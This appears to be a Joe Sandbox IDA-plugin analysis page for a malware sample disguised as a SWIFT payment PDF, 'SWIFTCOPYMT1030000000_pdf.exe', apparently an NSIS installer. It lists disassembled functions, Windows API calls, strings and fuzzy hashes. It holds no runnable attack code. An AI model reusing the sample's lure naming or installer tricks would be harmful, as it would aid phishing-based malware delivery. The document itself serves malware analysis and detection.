Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b90161ae8cda5cbd2de65598e29a38e6d4b8b6f2e7bfd1190cff9b69a8922c47
Instruction ID: 47e4f8cec5362ef7ba492606aa4db3ba17659bb6329be143cabb9808bdc3d1f3
Opcode Fuzzy Hash: b90161ae8cda5cbd2de65598e29a38e6d4b8b6f2e7bfd1190cff9b69a8922c47
Instruction Fuzzy Hash: 03C04C716482016BEA218B519D49F177758A750701F188425B610A50D0C675E410D66D

Uniqueness

Uniqueness Score: -1.00%

Function 004030A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DFA,?), ref: 004030B2

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00403EBC Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403CED), ref: 00403ECA

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 03409981cf4ee464f739a57fbc3ade95d75e68a5d1ce81eec46599a942b3d8ba
Instruction ID: 6533290ec96ace9f69d4b5d2bc7ee10b2e44395606cff802ce15a0f50474627a
Opcode Fuzzy Hash: 03409981cf4ee464f739a57fbc3ade95d75e68a5d1ce81eec46599a942b3d8ba
Instruction Fuzzy Hash: 99B01235588200BBEE224B00DD0DF457EA2F7A4701F00C024F300240F1C7B200A5DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00403EA9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403C86), ref: 00403EB3

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 98b266ebdf0f3c27f3687bff4252ab036e6b5e8ad03fafb5568fabfe7cf076f6
Instruction ID: 4f3b606e1f3b2692e0293683fec327d542fd6d14cd426307677a9e2f6e263f5f
Opcode Fuzzy Hash: 98b266ebdf0f3c27f3687bff4252ab036e6b5e8ad03fafb5568fabfe7cf076f6
Instruction Fuzzy Hash: F2A01231404001EBCB018B10DF05C057F21B7503007018421E1404003486310420FF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040564F Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,0040319C,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",00000020), ref: 0040565C

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction ID: 6e4b35d103a21483788ebd864c5a0626f5b9ee6a2529c86503c35e2e2383ccd4
Opcode Fuzzy Hash: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction Fuzzy Hash: B9C0803440C74467C71057305434C677FE0EA71301F9C4C56F0C963150C135A800CF1A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404801 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404819
GetDlgItem.USER32(?,00000408), ref: 00404824
GlobalAlloc.KERNEL32(00000040,?), ref: 0040486E
LoadBitmapA.USER32(0000006E), ref: 00404881
SetWindowLongA.USER32(?,000000FC,00404DF8), ref: 0040489A
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004048AE
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004048C0
SendMessageA.USER32(?,00001109,00000002), ref: 004048D6
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004048E2
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004048F4
DeleteObject.GDI32(00000000), ref: 004048F7
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404922
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 0040492E
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049C3
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004049EE
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A02
GetWindowLongA.USER32(?,000000F0), ref: 00404A31
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A3F
ShowWindow.USER32(?,00000005), ref: 00404A50
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B4D
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404BB2
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BC7
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404BEB
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C0B
ImageList_Destroy.COMCTL32(00000000), ref: 00404C20
GlobalFree.KERNEL32(00000000), ref: 00404C30
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404CA9
SendMessageA.USER32(?,00001102,?,?), ref: 00404D52
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D61
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D81
ShowWindow.USER32(?,00000000), ref: 00404DCF
GetDlgItem.USER32(?,000003FE), ref: 00404DDA
ShowWindow.USER32(00000000), ref: 00404DE1

Strings

M, xrefs: 004049AA
N, xrefs: 00404A8B
, xrefs: 00404DB9

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 5c97457c4d1d97535a494aa813db42837bbe9887a2ccc9027b3f96986e3e390d
Instruction ID: 73e5042133b470fdde48d750d06e43d2904589ccee469aaf4ee40575ec54014f
Opcode Fuzzy Hash: 5c97457c4d1d97535a494aa813db42837bbe9887a2ccc9027b3f96986e3e390d
Instruction Fuzzy Hash: 59027FB0900209AFEB10DF54DC85AAE7BB5FB84315F10853AF610B62E1C7799E42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004042C5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404314
SetWindowTextA.USER32(00000000,?), ref: 0040433E
SHBrowseForFolderA.SHELL32(?,0079E0D0,?), ref: 004043EF
CoTaskMemFree.OLE32(00000000), ref: 004043FA
lstrcmpiA.KERNEL32(Call,Epicurize Setup: Installing), ref: 0040442C
lstrcatA.KERNEL32(?,Call), ref: 00404438
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040444A

Part of subcall function 0040538C: GetDlgItemTextA.USER32(?,?,00000400,00404481), ref: 0040539F

Part of subcall function 00405DE2: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E3A
Part of subcall function 00405DE2: CharNextA.USER32(?,?,?,00000000), ref: 00405E47
Part of subcall function 00405DE2: CharNextA.USER32(?,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E4C
Part of subcall function 00405DE2: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E5C

GetDiskFreeSpaceA.KERNEL32(0079DCC8,?,?,0000040F,?,0079DCC8,0079DCC8,?,00000000,0079DCC8,?,?,000003FB,?), ref: 00404505
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404520
SetDlgItemTextA.USER32(00000000,00000400,0079DCB8), ref: 004045A6

Strings

Epicurize Setup: Installing, xrefs: 004043C2, 00404425
Call, xrefs: 00404426, 0040442B, 00404436
A, xrefs: 004043E8
C:\Users\user\udskriftskartotek\chiromancy\refalling, xrefs: 00404415

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\udskriftskartotek\chiromancy\refalling$Call$Epicurize Setup: Installing
API String ID: 2246997448-2569746891
Opcode ID: f4b395fbc956a3f401c18fbd49a21f44177e585b157c0ae4a54349ed1422c75f
Instruction ID: 03cdc0df629eda19bc81850558ffdd0616f3ff49271ebeceec1b5cb03d6b2ac4
Opcode Fuzzy Hash: f4b395fbc956a3f401c18fbd49a21f44177e585b157c0ae4a54349ed1422c75f
Instruction Fuzzy Hash: DB9192B1900208BBDB11AFA1CC81AAF77B8EF85305F14447BFB01B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040264F Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040265E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 23c103152627ce6bba449e45accf03574f1600b64c0886b4bf333a450fa6d8b6
Instruction ID: 3ab4b2e523f4ece34398282fff8650a64823828ee778d7c177d23f294cc8494d
Opcode Fuzzy Hash: 23c103152627ce6bba449e45accf03574f1600b64c0886b4bf333a450fa6d8b6
Instruction Fuzzy Hash: FAF0A032A041149AD700E7B4A949AEEB778CB15324F20067BE101E20C2C6B869859A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403FD0 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040405B
GetDlgItem.USER32(00000000,000003E8), ref: 0040406F
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040408D
GetSysColor.USER32(?), ref: 0040409E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004040AD
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004040BC
lstrlenA.KERNEL32(?), ref: 004040BF
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040CE
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040E3
GetDlgItem.USER32(?,0000040A), ref: 00404145
SendMessageA.USER32(00000000), ref: 00404148
GetDlgItem.USER32(?,000003E8), ref: 00404173
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004041B3
LoadCursorA.USER32(00000000,00007F02), ref: 004041C2
SetCursor.USER32(00000000), ref: 004041CB
ShellExecuteA.SHELL32(0000070B,open,007A16A0,00000000,00000000,00000001), ref: 004041DE
LoadCursorA.USER32(00000000,00007F00), ref: 004041EB
SetCursor.USER32(00000000), ref: 004041EE
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040421A
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040422E

Strings

Call, xrefs: 0040419E
N, xrefs: 00404161
open, xrefs: 004041D6

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: d629206fc8082d4d9534340c1f089e738487a858c59a90b8640b314579ac6490
Instruction ID: 031dbeac94855a04ab7bc056baf49b9f62a127ba2e136bb98bc4968a945489ce
Opcode Fuzzy Hash: d629206fc8082d4d9534340c1f089e738487a858c59a90b8640b314579ac6490
Instruction Fuzzy Hash: DF61B971A40209BFEB109F60CC45F6A3B69FB84755F10816AFB047B2D1C7B8A951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040589D Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 141filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A0A88,NUL,?,00000000,?,00000000,?,00405A53,?,?,00000001,00405613,?,00000000,000000F1,?), ref: 004058AD
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405A53,?,?,00000001,00405613,?,00000000,000000F1,?), ref: 004058D1
GetShortPathNameA.KERNEL32(00000000,007A0A88,00000400), ref: 004058DA

Part of subcall function 0040578A: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,0040599C,00000000,[Rename]), ref: 0040579A
Part of subcall function 0040578A: lstrlenA.KERNEL32(?,?,00000000,0040599C,00000000,[Rename]), ref: 004057CC

GetShortPathNameA.KERNEL32(?,007A0E88,00000400), ref: 004058F7
wsprintfA.USER32 ref: 00405915
GetFileSize.KERNEL32(00000000,00000000,007A0E88,C0000000,00000004,007A0E88,?,?,?,?,?), ref: 00405950
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 0040595F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00405979
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 004059A9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,007A0688,00000000,-0000000A,0040936C,00000000,[Rename]), ref: 004059FF
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00405A11
GlobalFree.KERNEL32(00000000), ref: 00405A18
CloseHandle.KERNEL32(00000000), ref: 00405A1F

Part of subcall function 00405825: GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 00405829
Part of subcall function 00405825: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040584B

Strings

[Rename], xrefs: 00405991, 004059A3
%s=%s, xrefs: 0040590B
NUL, xrefs: 004058A7

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 3756836283-4148678300
Opcode ID: 624728a16f041d5ab8a4dfe5a1be018cc08b908fa827cbe652aff8f36f69eba2
Instruction ID: 703081f9f45e0959c07b6a00457515c8324f77790511a56e8ac0345a7c84fdf8
Opcode Fuzzy Hash: 624728a16f041d5ab8a4dfe5a1be018cc08b908fa827cbe652aff8f36f69eba2
Instruction Fuzzy Hash: 91412B71B04705AFD2206B249C49F6B7B6CEF89754F14053AFD01F62D2D678A8008EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
